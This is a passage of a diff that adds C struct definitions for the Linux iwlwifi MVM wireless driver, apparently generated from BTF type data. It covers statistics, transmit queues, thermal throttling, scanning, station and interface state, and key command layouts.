mvm_statistics_rx_phy_v2 cck; + struct mvm_statistics_rx_non_phy_v3 general; + struct mvm_statistics_rx_ht_phy_v1 ofdm_ht; +}; + +struct mvm_statistics_rx_phy { + __le32 unresponded_rts; + __le32 rxe_frame_lmt_overrun; + __le32 sent_ba_rsp_cnt; + __le32 dsp_self_kill; + __le32 reserved; +}; + +struct mvm_statistics_rx_non_phy { + __le32 bogus_cts; + __le32 bogus_ack; + __le32 non_channel_beacons; + __le32 channel_beacons; + __le32 num_missed_bcon; + __le32 adc_rx_saturation_time; + __le32 ina_detection_search_time; + __le32 beacon_silence_rssi_a; + __le32 beacon_silence_rssi_b; + __le32 beacon_silence_rssi_c; + __le32 interference_data_flag; + __le32 channel_load; + __le32 beacon_rssi_a; + __le32 beacon_rssi_b; + __le32 beacon_rssi_c; + __le32 beacon_energy_a; + __le32 beacon_energy_b; + __le32 beacon_energy_c; + __le32 num_bt_kills; + __le32 mac_id; +}; + +struct mvm_statistics_rx_ht_phy { + __le32 mh_format_err; + __le32 agg_mpdu_cnt; + __le32 agg_cnt; + __le32 unsupport_mcs; +}; + +struct mvm_statistics_rx { + struct mvm_statistics_rx_phy ofdm; + struct mvm_statistics_rx_phy cck; + struct mvm_statistics_rx_non_phy general; + struct mvm_statistics_rx_ht_phy ofdm_ht; +}; + +struct iwl_mvm_dqa_txq_info { + u8 ra_sta_id; + bool reserved; + u8 mac80211_ac; + u8 txq_tid; + u16 tid_bitmap; + unsigned long last_frame_time[9]; + enum iwl_mvm_queue_status status; +}; + +struct iwl_mvm_tvqm_txq_info { + u8 sta_id; + u8 txq_tid; +}; + +struct iwl_nvm_section { + u16 length; + const u8 *data; +}; + +struct iwl_rx_phy_info { + u8 non_cfg_phy_cnt; + u8 cfg_phy_cnt; + u8 stat_id; + u8 reserved1; + __le32 system_timestamp; + __le64 timestamp; + __le32 beacon_time_stamp; + __le16 phy_flags; + __le16 channel; + __le32 non_cfg_phy[8]; + __le32 rate_n_flags; + __le32 byte_count; + u8 mac_active_msk; + u8 mac_context_info; + __le16 frame_time; +} __attribute__((packed)); + +struct iwl_mvm_int_sta { + u32 sta_id; + u8 type; + u32 tfd_queue_msk; +}; + +struct iwl_mvm_phy_ctxt { + u16 id; + u16 color; + u32 ref; + enum nl80211_chan_width width; + struct ieee80211_channel *channel; + u32 center_freq1; + bool rlc_disabled; + u32 channel_load_by_us; +}; + +struct wiphy_wowlan_tcp_support; + +struct wiphy_wowlan_support { + u32 flags; + int n_patterns; + int pattern_max_len; + int pattern_min_len; + int max_pkt_offset; + int max_nd_match_sets; + const struct wiphy_wowlan_tcp_support *tcp; +}; + +struct iwl_tt_tx_backoff { + s32 temperature; + u32 backoff; +}; + +struct iwl_tt_params { + u32 ct_kill_entry; + u32 ct_kill_exit; + u32 ct_kill_duration; + u32 dynamic_smps_entry; + u32 dynamic_smps_exit; + u32 tx_protection_entry; + u32 tx_protection_exit; + struct iwl_tt_tx_backoff tx_backoff[6]; + u8 support_ct_kill: 1; + u8 support_dynamic_smps: 1; + u8 support_tx_protection: 1; + u8 support_tx_backoff: 1; +}; + +struct iwl_mvm_tt_mgmt { + struct delayed_work ct_kill_exit; + bool dynamic_smps; + u32 tx_backoff; + u32 min_backoff; + struct iwl_tt_params params; + bool throttle; +}; + +struct thermal_trip { + int temperature; + int hysteresis; + enum thermal_trip_type type; + u8 flags; + void *priv; +}; + +struct iwl_mvm_thermal_device { + struct thermal_trip trips[8]; + struct thermal_zone_device *tzone; +}; + +struct iwl_mvm_cooling_device { + u32 cur_state; + struct thermal_cooling_device *cdev; +}; + +struct iwl_mvm_tcm_mac { + struct { + u32 pkts[4]; + u32 airtime; + } tx; + struct { + u32 pkts[4]; + u32 airtime; + u32 last_ampdu_ref; + } rx; + struct { + u64 rx_bytes; + struct ewma_rate rate; + bool detected; + } uapsd_nonagg_detect; + bool opened_rx_ba_sessions; +}; + +struct iwl_mvm_tcm { + struct delayed_work work; + spinlock_t lock; + unsigned long ts; + unsigned long ll_ts; + unsigned long uapsd_nonagg_ts; + bool paused; + struct iwl_mvm_tcm_mac data[4]; + struct { + u32 elapsed; + u32 airtime[4]; + enum iwl_mvm_traffic_load load[4]; + enum iwl_mvm_traffic_load band_load[6]; + enum iwl_mvm_traffic_load global_load; + bool low_latency[4]; + bool change[4]; + } result; +}; + +struct iwl_time_quota_data { + __le32 id_and_color; + __le32 quota; + __le32 max_duration; + __le32 low_latency; +}; + +struct iwl_time_quota_cmd { + struct iwl_time_quota_data quotas[4]; +}; + +struct ptp_data { + struct ptp_clock *ptp_clock; + struct ptp_clock_info ptp_clock_info; + struct delayed_work dwork; + u32 last_gp2; + u32 wrap_counter; + u32 scale_update_gp2; + u64 scale_update_adj_time_ns; + u64 scaled_freq; + s64 delta; +}; + +struct iwl_phy_specific_cfg { + __le32 filter_cfg_chains[4]; +}; + +struct iwl_time_sync_data { + struct sk_buff_head frame_list; + u8 peer_addr[6]; + bool active; +}; + +struct iwl_phy_db; + +struct iwl_mvm_vif; + +struct iwl_nvm_data; + +struct iwl_mvm_csme_conn_info; + +struct iwl_mvm_baid_data; + +struct iwl_mvm_acs_survey; + +struct iwl_mvm { + struct device *dev; + struct iwl_trans *trans; + const struct iwl_fw *fw; + const struct iwl_cfg *cfg; + struct iwl_phy_db *phy_db; + struct ieee80211_hw *hw; + struct mutex mutex; + struct list_head async_handlers_list; + spinlock_t async_handlers_lock; + struct work_struct async_handlers_wk; + struct wiphy_work async_handlers_wiphy_wk; + struct wiphy_work trig_link_selection_wk; + struct work_struct roc_done_wk; + unsigned long init_status; + unsigned long status; + u32 queue_sync_cookie; + long: 0; + unsigned long queue_sync_state; + struct iwl_mvm_vif *bf_allowed_vif; + bool hw_registered; + bool rfkill_safe_init_done; + u8 cca_40mhz_workaround; + int: 0; + u32 ampdu_ref; + bool ampdu_toggle; + long: 0; + struct iwl_notif_wait_data notif_wait; + union { + struct mvm_statistics_rx_v3 rx_stats_v3; + struct mvm_statistics_rx rx_stats; + }; + struct { + u64 rx_time; + u64 tx_time; + u64 on_time_rf; + u64 on_time_scan; + } radio_stats; + struct { + u64 rx_time; + u64 tx_time; + u64 on_time_rf; + u64 on_time_scan; + } accu_radio_stats; + struct list_head add_stream_txqs; + union { + struct iwl_mvm_dqa_txq_info queue_info[32]; + struct iwl_mvm_tvqm_txq_info tvqm_info[512]; + }; + struct work_struct add_stream_wk; + spinlock_t add_stream_lock; + const char *nvm_file_name; + struct iwl_nvm_data *nvm_data; + struct iwl_mei_nvm *mei_nvm_data; + struct iwl_mvm_csme_conn_info __attribute__((btf_type_tag("rcu"))) *csme_conn_info; + bool mei_rfkill_blocked; + bool mei_registered; + long: 0; + struct work_struct sap_connected_wk; + struct iwl_nvm_data *temp_nvm_data; + struct iwl_nvm_section nvm_sections[13]; + struct iwl_fw_runtime fwrt; + struct mac_address addresses[5]; + struct iwl_rx_phy_info last_phy_info; + long: 0; + struct ieee80211_sta __attribute__((btf_type_tag("rcu"))) *fw_id_to_mac_id[16]; + struct ieee80211_link_sta __attribute__((btf_type_tag("rcu"))) *fw_id_to_link_sta[16]; + u8 rx_ba_sessions; + int: 0; + u32 rts_threshold; + unsigned int scan_status; + long: 0; + size_t scan_cmd_size; + void *scan_cmd; + struct iwl_mcast_filter_cmd *mcast_filter_cmd; + enum iwl_mvm_scan_type scan_type; + enum iwl_mvm_scan_type hb_scan_type; + enum iwl_mvm_sched_scan_pass_all_states sched_scan_pass_all; + long: 0; + struct delayed_work scan_timeout_dwork; + unsigned int max_scans; + u32 scan_uid_status[4]; + long: 0; + u64 scan_start; + struct iwl_mvm_vif *scan_vif; + u8 scan_link_id; + u8 scan_rx_ant; + int: 0; + struct iwl_mvm_int_sta aux_sta; + struct iwl_mvm_int_sta snif_sta; + bool last_ebs_successful; + u8 scan_last_antenna_idx; + u8 mgmt_last_antenna_idx; + u8 set_tx_ant; + u8 set_rx_ant; + int: 0; + enum iwl_sf_state sf_state; + struct dentry *debugfs_dir; + struct iwl_mvm_phy_ctxt phy_ctxts[3]; + struct list_head time_event_list; + spinlock_t time_event_lock; + unsigned long fw_key_table[1]; + u8 fw_key_deleted[16]; + struct ieee80211_vif __attribute__((btf_type_tag("rcu"))) *vif_id_to_mac[4]; + struct ieee80211_bss_conf __attribute__((btf_type_tag("rcu"))) *link_id_to_link_conf[4]; + s8 fw_restart; + long: 0; + u8 *error_recovery_buf; + struct ieee80211_vif *p2p_device_vif; + struct wiphy_wowlan_support wowlan; + int gtk_ivlen; + int gtk_icvlen; + int ptk_ivlen; + int ptk_icvlen; + struct ieee80211_scan_ies nd_ies; + struct cfg80211_match_set *nd_match_sets; + int n_nd_match_sets; + long: 0; + struct ieee80211_channel **nd_channels; + int n_nd_channels; + bool net_detect; + bool fast_resume; + u8 offload_tid; + long: 0; + wait_queue_head_t rx_sync_waitq; + union { + struct iwl_bt_coex_prof_old_notif last_bt_notif; + struct iwl_bt_coex_profile_notif___2 last_bt_wifi_loss; + }; + struct iwl_bt_coex_ci_cmd last_bt_ci_cmd; + u8 bt_tx_prio; + int: 0; + enum iwl_bt_force_ant_mode bt_force_ant_mode; + struct list_head aux_roc_te_list; + struct iwl_mvm_tt_mgmt thermal_throttle; + struct iwl_mvm_thermal_device tz_device; + struct iwl_mvm_cooling_device cooling_dev; + s32 temperature; + bool temperature_test; + bool fw_static_smps_request; + long: 0; + unsigned long bt_coex_last_tcm_ts; + struct iwl_mvm_tcm tcm; + u8 uapsd_noagg_bssid_write_idx; + short: 0; + struct mac_address uapsd_noagg_bssids[20]; + struct iwl_time_quota_cmd last_quota_cmd; + u16 aux_queue; + u16 snif_queue; + u16 probe_queue; + u16 p2p_dev_queue; + u8 ps_disabled; + int: 0; + u32 ext_clock_valid; + struct ieee80211_vif *csme_vif; + struct ieee80211_vif __attribute__((btf_type_tag("rcu"))) *csa_vif; + struct ieee80211_vif __attribute__((btf_type_tag("rcu"))) *csa_tx_blocked_vif; + u8 csa_tx_block_bcn_timeout; + int: 0; + u32 ap_last_beacon_gp2; + bool ibss_manager; + bool lar_regdom_set; + int: 0; + enum iwl_mcc_source mcc_src; + struct { + struct delayed_work dwork; + enum iwl_mvm_tdls_cs_state state; + u8 cur_sta_id; + struct { + u8 sta_id; + u8 op_class; + bool initiator; + struct cfg80211_chan_def chandef; + struct sk_buff *skb; + u32 ch_sw_tm_ie; + u32 sent_timestamp; + } peer; + } tdls_cs; + u32 ciphers[10]; + struct cfg80211_ftm_responder_stats ftm_resp_stats; + struct { + struct cfg80211_pmsr_request *req; + struct wireless_dev *req_wdev; + struct list_head loc_list; + int responses[5]; + struct { + struct list_head resp; + } smooth; + struct list_head pasn_list; + } ftm_initiator; + struct list_head resp_pasn_list; + struct ptp_data ptp_data; + struct { + u8 range_resp; + } cmd_ver; + long: 0; + struct ieee80211_vif *nan_vif; + struct iwl_mvm_baid_data __attribute__((btf_type_tag("rcu"))) *baid_map[32]; + bool drop_bcn_ap_mode; + long: 0; + struct delayed_work cs_tx_unblock_dwork; + bool monitor_on; + u8 monitor_p80; + __le16 cur_aid; + u8 cur_bssid[6]; + struct iwl_phy_specific_cfg phy_filters; + bool rx_ts_ptp; + long: 0; + unsigned long last_6ghz_passive_scan_jiffies; + unsigned long last_reset_or_resume_time_jiffies; + bool sta_remove_requires_queue_remove; + bool mld_api_is_used; + bool fw_product_reset; + long: 0; + struct iwl_time_sync_data time_sync; + struct iwl_mei_scan_filter mei_scan_filter; + struct iwl_mvm_acs_survey *acs_survey; + bool statistics_clear; + int: 0; + u32 bios_enable_puncturing; +} __attribute__((packed)); + +struct iwl_mvm_acs_survey_channel { + u32 time; + u32 time_busy; + u32 time_tx; + u32 time_rx; + s8 noise; +}; + +struct iwl_mvm_acs_survey { + struct iwl_mvm_acs_survey_channel *bands[6]; + int n_channels; + struct iwl_mvm_acs_survey_channel channels[0]; +}; + +struct iwl_mvm_active_iface_iterator_data { + struct ieee80211_vif *ignore_vif; + struct ieee80211_sta *sta_vif_ap_sta; + enum iwl_sf_state sta_vif_state; + u32 num_active_macs; +}; + +struct iwl_mvm_add_sta_cmd { + u8 add_modify; + u8 awake_acs; + __le16 tid_disable_tx; + __le32 mac_id_n_color; + u8 addr[6]; + __le16 reserved2; + u8 sta_id; + u8 modify_mask; + __le16 reserved3; + __le32 station_flags; + __le32 station_flags_msk; + u8 add_immediate_ba_tid; + u8 remove_immediate_ba_tid; + __le16 add_immediate_ba_ssn; + __le16 sleep_tx_count; + u8 sleep_state_flags; + u8 station_type; + __le16 assoc_id; + __le16 beamform_flags; + __le32 tfd_queue_msk; + __le16 rx_ba_window; + u8 sp_length; + u8 uapsd_acs; +}; + +struct iwl_mvm_add_sta_key_common { + u8 sta_id; + u8 key_offset; + __le16 key_flags; + u8 key[32]; + u8 rx_secur_seq_cnt[16]; +}; + +struct iwl_mvm_add_sta_key_cmd { + struct iwl_mvm_add_sta_key_common common; + __le64 rx_mic_key; + __le64 tx_mic_key; + __le64 transmit_seq_cnt; +} __attribute__((packed)); + +struct iwl_mvm_add_sta_key_cmd_v1 { + struct iwl_mvm_add_sta_key_common common; + u8 tkip_rx_tsc_byte2; + u8 reserved; + __le16 tkip_rx_ttak[5]; +}; + +struct iwl_mvm_alive_data { + bool valid; + u32 scd_base_addr; +}; + +struct iwl_mvm_aux_sta_cmd { + __le32 sta_id; + __le32 lmac_id; + u8 mac_addr[6]; + __le16 reserved_for_mac_addr; +}; + +struct iwl_mvm_ba_notif { + u8 sta_addr[6]; + __le16 reserved; + u8 sta_id; + u8 tid; + __le16 seq_ctl; + __le64 bitmap; + __le16 scd_flow; + __le16 scd_ssn; + u8 txed; + u8 txed_2_done; + u8 reduced_txp; + u8 reserved1; +} __attribute__((packed)); + +struct iwl_mvm_reorder_buffer { + u16 head_sn; + u16 num_stored; + int queue; + u16 last_amsdu; + bool valid; + spinlock_t lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct iwl_mvm_reorder_buf_entry { + struct sk_buff_head frames; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct iwl_mvm_baid_data { + struct callback_head callback_head; + u32 sta_mask; + u8 tid; + u8 baid; + u16 timeout; + u16 buf_size; + u16 entries_per_queue; + unsigned long last_rx; + struct timer_list session_timer; + struct iwl_mvm_baid_data __attribute__((btf_type_tag("rcu"))) **rcu_ptr; + struct iwl_mvm *mvm; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct iwl_mvm_reorder_buffer reorder_buf[16]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct iwl_mvm_reorder_buf_entry entries[0]; +}; + +struct iwl_mvm_bw_to_rssi_threshs { + s8 low; + s8 high; +}; + +struct iwl_mvm_compressed_ba_ratid { + u8 q_num; + u8 tid; + __le16 ssn; +}; + +struct iwl_mvm_compressed_ba_tfd { + __le16 q_num; + __le16 tfd_index; + u8 scd_queue; + u8 tid; + u8 reserved[2]; +}; + +struct iwl_mvm_compressed_ba_notif { + __le32 flags; + u8 sta_id; + u8 reduced_txp; + u8 tlc_rate_info; + u8 retry_cnt; + __le32 query_byte_cnt; + __le16 query_frame_cnt; + __le16 txed; + __le16 done; + u8 rts_retry_cnt; + u8 reserved; + __le32 wireless_time; + __le32 tx_rate; + __le16 tfd_cnt; + __le16 ra_tid_cnt; + union { + struct { + struct {} __empty_ra_tid; + struct iwl_mvm_compressed_ba_ratid ra_tid[0]; + }; + struct { + struct {} __empty_tfd; + struct iwl_mvm_compressed_ba_tfd tfd[0]; + }; + }; +}; + +struct iwl_mvm_csme_conn_info { + struct callback_head callback_head; + struct iwl_mei_conn_info conn_info; +}; + +struct iwl_mvm_ctdp_cmd { + __le32 operation; + __le32 budget; + __le32 window_size; +}; + +struct iwl_mvm_d3_end_notif { + __le32 flags; +}; + +struct iwl_mvm_d3_gtk_iter_data { + struct iwl_mvm *mvm; + struct iwl_wowlan_status_data *status; + u32 gtk_cipher; + u32 igtk_cipher; + u32 bigtk_cipher; + bool unhandled_cipher; + bool igtk_support; + bool bigtk_support; + int num_keys; +}; + +struct iwl_mvm_d3_mlo_old_keys { + u32 cipher[45]; + struct ieee80211_key_conf *key[120]; +}; + +struct iwl_mvm_delba_data { + u32 baid; +}; + +struct iwl_mvm_diversity_iter_data { + struct iwl_mvm_phy_ctxt *ctxt; + bool result; +}; + +struct iwl_mvm_eosp_notification { + __le32 remain_frame_count; + __le32 sta_id; +}; + +struct iwl_mvm_esr_exit { + unsigned long ts; + enum iwl_mvm_esr_state reason; +}; + +struct iwl_mvm_esr_iter_data { + struct ieee80211_vif *vif; + unsigned int link_id; + bool lift_block; +}; + +struct iwl_mvm_esr_mode_notif { + __le32 action; +}; + +struct iwl_mvm_frob_txf_data { + u8 *buf; + size_t buflen; +}; + +struct iwl_mvm_ftm_iter_data { + u8 *cipher; + u8 *bssid; + u8 *tk; +}; + +struct iwl_mvm_ftm_pasn_entry { + struct list_head list; + u8 addr[6]; + u8 hltk[32]; + u8 tk[32]; + u8 cipher; + u8 tx_pn[6]; + u8 rx_pn[6]; + u32 flags; +}; + +struct iwl_mvm_ftm_responder_iter_data { + bool responder; + struct ieee80211_chanctx_conf *ctx; +}; + +struct iwl_mvm_go_iterator_data { + bool go_active; +}; + +struct iwl_mvm_he_obss_narrow_bw_ru_data { + bool tolerated; +}; + +struct iwl_mvm_iface_iterator_data { + struct ieee80211_vif *ignore_vif; + int idx; + struct iwl_mvm_phy_ctxt *phyctxt; + u16 ids[3]; + u16 colors[3]; +}; + +struct iwl_mvm_internal_rxq_notif { + u16 type; + u16 sync; + u32 cookie; + u8 data[0]; +}; + +struct iwl_mvm_key_pn { + struct callback_head callback_head; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct { + u8 pn[48]; + long: 64; + long: 64; + } q[0]; +}; + +struct iwl_mvm_link_bf_data { + int ave_beacon_signal; + int last_cqm_event; + int bt_coex_min_thold; + int bt_coex_max_thold; + int last_bt_coex_event; +}; + +struct iwl_mvm_link_sel_data { + u8 link_id; + const struct cfg80211_chan_def *chandef; + s32 signal; + u16 grade; +}; + +struct iwl_mvm_link_sta { + struct callback_head callback_head; + u32 sta_id; + union { + struct iwl_lq_sta_rs_fw rs_fw; + struct iwl_lq_sta rs_drv; + } lq_sta; + u16 orig_amsdu_len; + u8 avg_energy; +}; + +struct iwl_mvm_loc_entry { + struct list_head list; + u8 addr[6]; + u8 lci_len; + u8 civic_len; + u8 buf[0]; +}; + +struct iwl_mvm_low_latency_iter { + bool result; + bool result_per_band[6]; +}; + +struct iwl_mvm_mac_ap_iterator_data { + struct iwl_mvm *mvm; + struct ieee80211_vif *vif; + u32 beacon_device_ts; + u16 beacon_int; +}; + +struct iwl_mvm_mac_iface_iterator_data { + struct iwl_mvm *mvm; + struct ieee80211_vif *vif; + unsigned long available_mac_ids[1]; + unsigned long available_tsf_ids[1]; + enum iwl_tsf_id preferred_tsf; + bool found_vif; +}; + +struct iwl_mvm_marker { + u8 dw_len; + u8 marker_id; + __le16 reserved; + __le64 timestamp; + __le32 metadata[0]; +} __attribute__((packed)); + +struct iwl_mvm_marker_rsp { + __le32 gp2; +}; + +struct iwl_mvm_mc_iter_data { + struct iwl_mvm *mvm; + int port_id; +}; + +struct iwl_mvm_mgmt_mcast_key_cmd { + __le32 ctrl_flags; + u8 igtk[32]; + __le32 key_id; + __le32 sta_id; + __le64 receive_seq_cnt; +} __attribute__((packed)); + +struct iwl_mvm_mgmt_mcast_key_cmd_v1 { + __le32 ctrl_flags; + u8 igtk[16]; + u8 k1[16]; + u8 k2[16]; + __le32 key_id; + __le32 sta_id; + __le64 receive_seq_cnt; +} __attribute__((packed)); + +struct iwl_mvm_mod_params { + int power_scheme; +}; + +struct iwl_mvm_mpdu_counter { + u32 tx; + u32 rx; +}; + +struct iwl_mvm_nd_results { + u32 matched_profiles; + u8 matches[198]; +}; + +struct iwl_mvm_pasn_hltk_data { + u8 *addr; + u8 cipher; + u8 *hltk; +}; + +struct iwl_mvm_pasn_sta { + struct list_head list; + struct iwl_mvm_int_sta int_sta; + u8 addr[6]; + struct ieee80211_key_conf keyconf; +}; + +struct iwl_mvm_pm_state_notification { + u8 sta_id; + u8 type; + __le16 reserved; +}; + +struct iwl_mvm_quota_iterator_data { + int n_interfaces[4]; + int colors[4]; + int low_latency[4]; + int n_low_latency_bindings; + struct ieee80211_vif *disabled_vif; +}; + +struct iwl_mvm_reprobe { + struct device *dev; + struct work_struct work; +}; + +struct iwl_mvm_rm_sta_cmd { + u8 sta_id; + u8 reserved[3]; +}; + +struct iwl_mvm_roc_ops { + int (*add_aux_sta_for_hs20)(struct iwl_mvm *, u32); + int (*link)(struct iwl_mvm *, struct ieee80211_vif *); +}; + +struct iwl_mvm_rssi_to_grade { + s8 rssi[2]; + u16 grade; +}; + +struct iwl_mvm_rx_phy_data { + enum iwl_rx_phy_info_type info_type; + __le32 d0; + __le32 d1; + __le32 d2; + __le32 d3; + __le32 eht_d4; + __le32 d5; + __le16 d4; + bool with_data; + bool first_subframe; + __le32 rx_vec[4]; + u32 rate_n_flags; + u32 gp2_on_air_rise; + u16 phy_info; + u8 energy_a; + u8 energy_b; + u8 channel; +}; + +struct iwl_mvm_rx_roc_iterator_data { + u32 activity; + bool end_activity; + bool found; +}; + +struct iwl_mvm_rxq_dup_data { + __le16 last_seq[9]; + u8 last_sub_frame[9]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct iwl_mvm_scan_channel_segment { + u8 start_idx; + u8 end_idx; + u8 first_channel_id; + u8 last_channel_id; + u8 channel_spacing_shift; + u8 band; +}; + +struct iwl_mvm_scan_iter_data { + u32 global_cnt; + struct ieee80211_vif *current_vif; + bool is_dcm_with_p2p_go; +}; + +struct iwl_scan_probe_segment { + __le16 offset; + __le16 len; +}; + +struct iwl_scan_probe_req { + struct iwl_scan_probe_segment mac_header; + struct iwl_scan_probe_segment band_data[3]; + struct iwl_scan_probe_segment common_data; + u8 buf[512]; +}; + +struct iwl_mvm_scan_params { + enum iwl_mvm_scan_type type; + enum iwl_mvm_scan_type hb_type; + u32 n_channels; + u16 delay; + int n_ssids; + struct cfg80211_ssid *ssids; + struct ieee80211_channel **channels; + u32 flags; + u8 *mac_addr; + u8 *mac_addr_mask; + bool no_cck; + bool pass_all; + int n_match_sets; + struct iwl_scan_probe_req preq; + struct cfg80211_match_set *match_sets; + int n_scan_plans; + struct cfg80211_sched_scan_plan *scan_plans; + bool iter_notif; + struct cfg80211_scan_6ghz_params *scan_6ghz_params; + u32 n_6ghz_params; + bool scan_6ghz; + bool enable_6ghz_passive; + bool respect_p2p_go; + bool respect_p2p_go_hb; + s8 tsf_report_link_id; + short: 0; + u8 bssid[6]; +}; + +struct iwl_mvm_scan_respect_p2p_go_iter_data { + struct ieee80211_vif *current_vif; + bool p2p_go; + enum nl80211_band band; +}; + +struct iwl_mvm_scan_timing_params { + u32 suspend_time; + u32 max_out_time; +}; + +struct iwl_mvm_session_prot_cmd { + __le32 id_and_color; + __le32 action; + __le32 conf_id; + __le32 duration_tu; + __le32 repetition_count; + __le32 interval; +}; + +struct iwl_mvm_session_prot_notif { + __le32 mac_link_id; + __le32 status; + __le32 start; + __le32 conf_id; +}; + +struct iwl_mvm_smooth_entry { + struct list_head list; + u8 addr[6]; + s64 rtt_avg; + u64 host_time; +}; + +struct iwl_mvm_tid_data { + u16 seq_number; + u16 next_reclaimed; + u32 rate_n_flags; + u8 lq_color; + bool amsdu_in_ampdu_allowed; + enum iwl_mvm_agg_state state; + u16 txq_id; + u16 ssn; + u16 tx_time; + unsigned long tpt_meas_start; + u32 tx_count_last; + u32 tx_count; +}; + +struct iwl_mvm_tpt_counter; + +struct iwl_mvm_sta { + u32 tfd_queue_msk; + u32 mac_id_n_color; + u16 tid_disable_agg; + u8 sta_type; + enum ieee80211_sta_state sta_state; + bool bt_reduced_txpower; + bool next_status_eosp; + bool authorized; + spinlock_t lock; + struct iwl_mvm_tid_data tid_data[9]; + u8 tid_to_baid[8]; + struct ieee80211_vif *vif; + struct iwl_mvm_key_pn __attribute__((btf_type_tag("rcu"))) *ptk_pn[4]; + struct iwl_mvm_rxq_dup_data *dup_data; + u8 reserved_queue; + s8 tx_protection; + bool tt_tx_protection; + bool disable_tx; + u16 amsdu_enabled; + u16 max_amsdu_len; + bool sleeping; + u8 agg_tids; + u8 sleep_tx_count; + u8 tx_ant; + u32 pairwise_cipher; + struct iwl_mvm_link_sta deflink; + struct iwl_mvm_link_sta __attribute__((btf_type_tag("rcu"))) *link[15]; + struct iwl_mvm_tpt_counter *mpdu_counters; +}; + +struct iwl_mvm_sta_disable_tx_cmd { + __le32 sta_id; + __le32 disable; +}; + +struct iwl_mvm_sta_key_update_data { + struct ieee80211_sta *sta; + u32 old_sta_mask; + u32 new_sta_mask; + int err; +}; + +struct iwl_mvm_sta_state_ops { + int (*add_sta)(struct iwl_mvm *, struct ieee80211_vif *, struct ieee80211_sta *); + int (*update_sta)(struct iwl_mvm *, struct ieee80211_vif *, struct ieee80211_sta *); + int (*rm_sta)(struct iwl_mvm *, struct ieee80211_vif *, struct ieee80211_sta *); + int (*mac_ctxt_changed)(struct iwl_mvm *, struct ieee80211_vif *, bool); +}; + +struct iwl_mvm_stat_data { + struct iwl_mvm *mvm; + __le32 flags; + __le32 mac_id; + u8 beacon_filter_average_energy; + __le32 *beacon_counter; + u8 *beacon_average_energy; +}; + +struct iwl_stats_ntfy_per_mac; + +struct iwl_mvm_stat_data_all_macs { + struct iwl_mvm *mvm; + __le32 flags; + struct iwl_stats_ntfy_per_mac *per_mac; +}; + +struct iwl_mvm_switch_vif_chanctx_ops { + int (*__assign_vif_chanctx)(struct iwl_mvm *, struct ieee80211_vif *, struct ieee80211_bss_conf *, struct ieee80211_chanctx_conf *, bool); + void (*__unassign_vif_chanctx)(struct iwl_mvm *, struct ieee80211_vif *, struct ieee80211_bss_conf *, struct ieee80211_chanctx_conf *, bool); +}; + +struct iwl_mvm_time_event_data { + struct ieee80211_vif *vif; + struct list_head list; + unsigned long end_jiffies; + u32 duration; + bool running; + u32 uid; + u32 id; + s8 link_id; +}; + +struct iwl_mvm_tpt_counter { + spinlock_t lock; + struct iwl_mvm_mpdu_counter per_link[3]; + unsigned long window_start; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct iwl_mvm_txq { + struct list_head list; + u16 txq_id; + atomic_t tx_request; + unsigned long state; +}; + +struct iwl_probe_resp_data; + +struct iwl_mvm_vif_link_info { + u8 bssid[6]; + u8 ap_sta_id; + u8 fw_link_id; + struct iwl_mvm_int_sta bcast_sta; + struct iwl_mvm_int_sta mcast_sta; + struct { + u32 num_beacons; + u32 accu_num_beacons; + u8 avg_signal; + } beacon_stats; + enum ieee80211_smps_mode smps_requests[4]; + struct iwl_probe_resp_data __attribute__((btf_type_tag("rcu"))) *probe_resp_data; + struct ieee80211_key_conf *igtk; + bool he_ru_2mhz_block; + bool active; + bool listen_lmac; + bool csa_block_tx; + u16 cab_queue; + struct iwl_mvm_phy_ctxt *phy_ctxt; + struct ieee80211_tx_queue_params queue_params[4]; + u16 mgmt_queue; + struct iwl_mvm_link_bf_data bf_data; +}; + +struct iwl_mvm_vif { + struct iwl_mvm *mvm; + u16 id; + u16 color; + bool associated; + u8 ap_assoc_sta_count; + bool uploaded; + bool ap_ibss_active; + bool pm_enabled; + bool monitor_active; + bool esr_active; + bool session_prot_connection_loss; + u8 low_latency: 6; + u8 low_latency_actual: 1; + u8 authorized: 1; + bool ps_disabled; + u32 esr_disable_reason; + u32 ap_beacon_time; + bool bf_enabled; + bool ba_enabled; + struct { + u8 kck[24]; + u8 kek[32]; + size_t kek_len; + size_t kck_len; + u32 akm; + __le64 replay_ctr; + bool valid; + } rekey_data; + int tx_key_idx; + bool seqno_valid; + u16 seqno; + struct in6_addr target_ipv6_addrs[12]; + unsigned long tentative_addrs[1]; + int num_target_ipv6_addrs; + u8 uapsd_misbehaving_ap_addr[6]; + struct delayed_work uapsd_nonagg_detected_wk; + bool csa_countdown; + bool csa_failed; + bool csa_bcn_pending; + bool csa_blocks_tx; + u16 csa_target_freq; + u16 csa_count; + u16 csa_misbehave; + struct delayed_work csa_work; + enum iwl_tsf_id tsf_id; + struct iwl_mvm_time_event_data time_event_data; + struct iwl_mvm_time_event_data hs_time_event_data; + enum iwl_roc_activity roc_activity; + netdev_features_t features; + struct ieee80211_sta *ap_sta; + struct ieee80211_key_conf *ap_early_keys[4]; + struct { + struct ieee80211_key_conf __attribute__((btf_type_tag("rcu"))) *keys[2]; + } bcn_prot; + u16 max_tx_op; + u16 link_selection_res; + u8 link_selection_primary; + u8 primary_link; + struct iwl_mvm_esr_exit last_esr_exit; + u8 exit_same_reason_count; + struct wiphy_delayed_work prevent_esr_done_wk; + struct wiphy_delayed_work mlo_int_scan_wk; + struct wiphy_work unblock_esr_tpt_wk; + struct iwl_mvm_vif_link_info deflink; + struct iwl_mvm_vif_link_info *link[15]; +}; + +struct iwl_mvm_wep_key { + u8 key_index; + u8 key_offset; + __le16 reserved1; + u8 key_size; + u8 reserved2[3]; + u8 key[16]; +}; + +struct iwl_mvm_wep_key_cmd { + __le32 mac_id_n_color; + u8 num_keys; + u8 decryption_type; + u8 flags; + u8 reserved; + struct iwl_mvm_wep_key wep_key[0]; +}; + +struct iwl_nonqos_seq_query_cmd { + __le32 get_set_flag; + __le32 mac_id_n_color; + __le16 value; + __le16 reserved; +}; + +struct statistics_rx { + struct statistics_rx_phy ofdm; + struct statistics_rx_phy cck; + struct statistics_rx_non_phy general; + struct statistics_rx_ht_phy ofdm_ht; +}; 